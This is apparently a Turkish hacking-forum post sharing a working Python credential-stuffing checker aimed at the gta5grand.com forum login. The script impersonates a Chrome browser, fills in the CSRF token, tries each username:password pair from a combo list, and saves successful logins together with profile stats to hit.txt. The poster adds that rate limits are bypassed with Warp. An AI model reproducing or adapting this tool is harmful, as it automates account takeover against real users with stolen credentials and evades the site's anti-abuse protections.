import os
import random
import time
import urllib.parse
from bs4 import BeautifulSoup
from curl_cffi import requests
# WASD.txt dosyası yoksa otomatik oluştur
if not os.path.exists("WASD.txt"):
with open("WASD.txt", "w", encoding="utf-8") as f:
f.write("# USER:PASS formatında hesapları buraya alt alta ekleyin\n")
f.write("# Örnek: [email protected]:sifre123\n")
print("[!] WASD.txt dosyası bulunamadı, boş bir tane oluşturuldu. Lütfen içine hesapları ekleyin.")
headers = {
'accept': (
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
),
'accept-language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'cache-control': 'no-cache',
'pragma': 'no-cache',
'priority': 'u=0, i',
'sec-ch-ua': (
'"Chromium";v="120", "Not?A_Brand";v="24", "Google Chrome";v="120"'
),
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'document',
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'same-origin',
'upgrade-insecure-requests': '1',
'user-agent': (
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,'
' like Gecko) Chrome/120.0.0.0 Safari/537.36'
),
}
# WASD.txt dosyasından hesapları oku
with open("WASD.txt", "r", encoding="utf-8") as f:
lines = f.readlines()
accounts = []
for line in lines:
line = line.strip()
if not line or line.startswith("#"):
continue
if ":" in line:
parts = line.split(":", 1)
accounts.append((parts[0].strip(), parts[1].strip()))
if not accounts:
print("[!] WASD.txt içerisinde geçerli hesap bulunamadı!")
exit()
print(f"[*] Toplam {len(accounts)} adet hesap test edilecek.\n" + "-"*40)
for index, (username, password) in enumerate(accounts, 1):
print(f"\n[{index}/{len(accounts)}] Deneniyor -> {username}")
session = requests.Session()
try:
response_get = session.get(
'https://gta5grand.com/forum/login/login',
impersonate='chrome120',
headers=headers,
timeout=10,
)
soup = BeautifulSoup(response_get.text, 'html.parser')
csrf_element = soup.select_one('[data-csrf]')
if not csrf_element:
print("[-] CSRF token alınamadı, atlanıyor.")
continue
csrf_token = csrf_element.get('data-csrf')
payload = {
'_xfToken': csrf_token,
'login': username,
'password': password,
'remember': '1',
'_xfRedirect': '/forum/',
}
current_headers = headers.copy()
current_headers['referer'] = 'https://gta5grand.com/forum/login/login'
current_headers['sec-fetch-dest'] = 'empty'
response_post = session.post(
'https://gta5grand.com/forum/login/login',
data=payload,
impersonate='chrome120',
headers=current_headers,
timeout=10,
)
cookies_dict = session.cookies.get_dict()
if (
response_post
and 'xf_user' in cookies_dict
and 'xf_session' in cookies_dict
):
print(f'[+] Success: Giriş başarılı! ({username})')
raw_xf_user = cookies_dict['xf_user']
decoded_xf_user = urllib.parse.unquote(raw_xf_user)
user_id = decoded_xf_user.split(',')[0]
print(f'[+] Ayrıştırılan Kullanıcı ID: {user_id}')
current_headers['sec-fetch-dest'] = 'document'
current_headers.pop('referer', None)
profile_url = f'https://gta5grand.com/forum/members/{user_id}/'
response_profile = session.get(
profile_url, impersonate='chrome120', headers=current_headers, timeout=10
)
if response_profile.status_code == 200:
soup_profile = BeautifulSoup(response_profile.text, 'html.parser')
def get_stat_value(label_text):
dt_elem = soup_profile.find(
lambda tag: tag.name == 'dt'
and label_text.lower() in tag.get_text().lower()
)
if dt_elem:
dd_elem = dt_elem.find_next_sibling('dd')
if dd_elem:
return dd_elem.get_text(strip=True)
return 'Bulunamadı'
messages = get_stat_value('Messages')
reaction_score = get_stat_value('Reaction score')
points = get_stat_value('Points')
print('--- CAPTURE / Profil İstatistikleri ---')
print(f'Hesap : {username}:{password}')
print(f'Kullanıcı ID : {user_id}')
print(f'Messages : {messages}')
print(f'Reaction Score: {reaction_score}')
print(f'Points : {points}')
print('-'*40)
with open("hit.txt", "a", encoding="utf-8") as hit_file:
hit_file.write(f"{username}:{password} | ID: {user_id} | Messages: {messages} | Reactions: {reaction_score} | Points: {points}\n")
else:
print(f'[-] Profil sayfasına erişilemedi - Status Code: {response_profile.status_code}')
elif (
'Incorrect password. Please try again' in response_post.text
or 'The requested user' in response_post.text
):
print(f'[-] Fail: Yanlış kullanıcı adı veya şifre ({username})')
else:
print(f'[-] Bilinmeyen durum - Status: {response_post.status_code}')
except Exception as e:
print(f'[!] Bir hata oluştu: {e}')
time.sleep(random.uniform(1.0, 2.0))
print("\n[*] Tüm hesaplar tarandı.")
Konu yanlış katagoride olabilir ceza kesip doğru katagoriye taşırsanız çok iyi olur iyi aksamlar
Not: Tek yapmanız gereken kodu çalıştırıp oluşan WASD.txt'ye hesapları girmeniz. Hit düştüğünde kendisi hit.txt falan her şeyi oluşturuyor. Rate Limit Warp ile bypasslanıyor
Örnek capture
| ID: a| Messages: 1 | Reactions: 0 | Points: 0
Bu başlığın işlevselliğini ve içeriğini değerlendirin:
Topluluğun kaliteli ve güncel içeriklere kolayca ulaşabilmesi için geri bildiriminiz önemlidir.
Son düzenleme: WASDW • (Değişiklikleri Gör)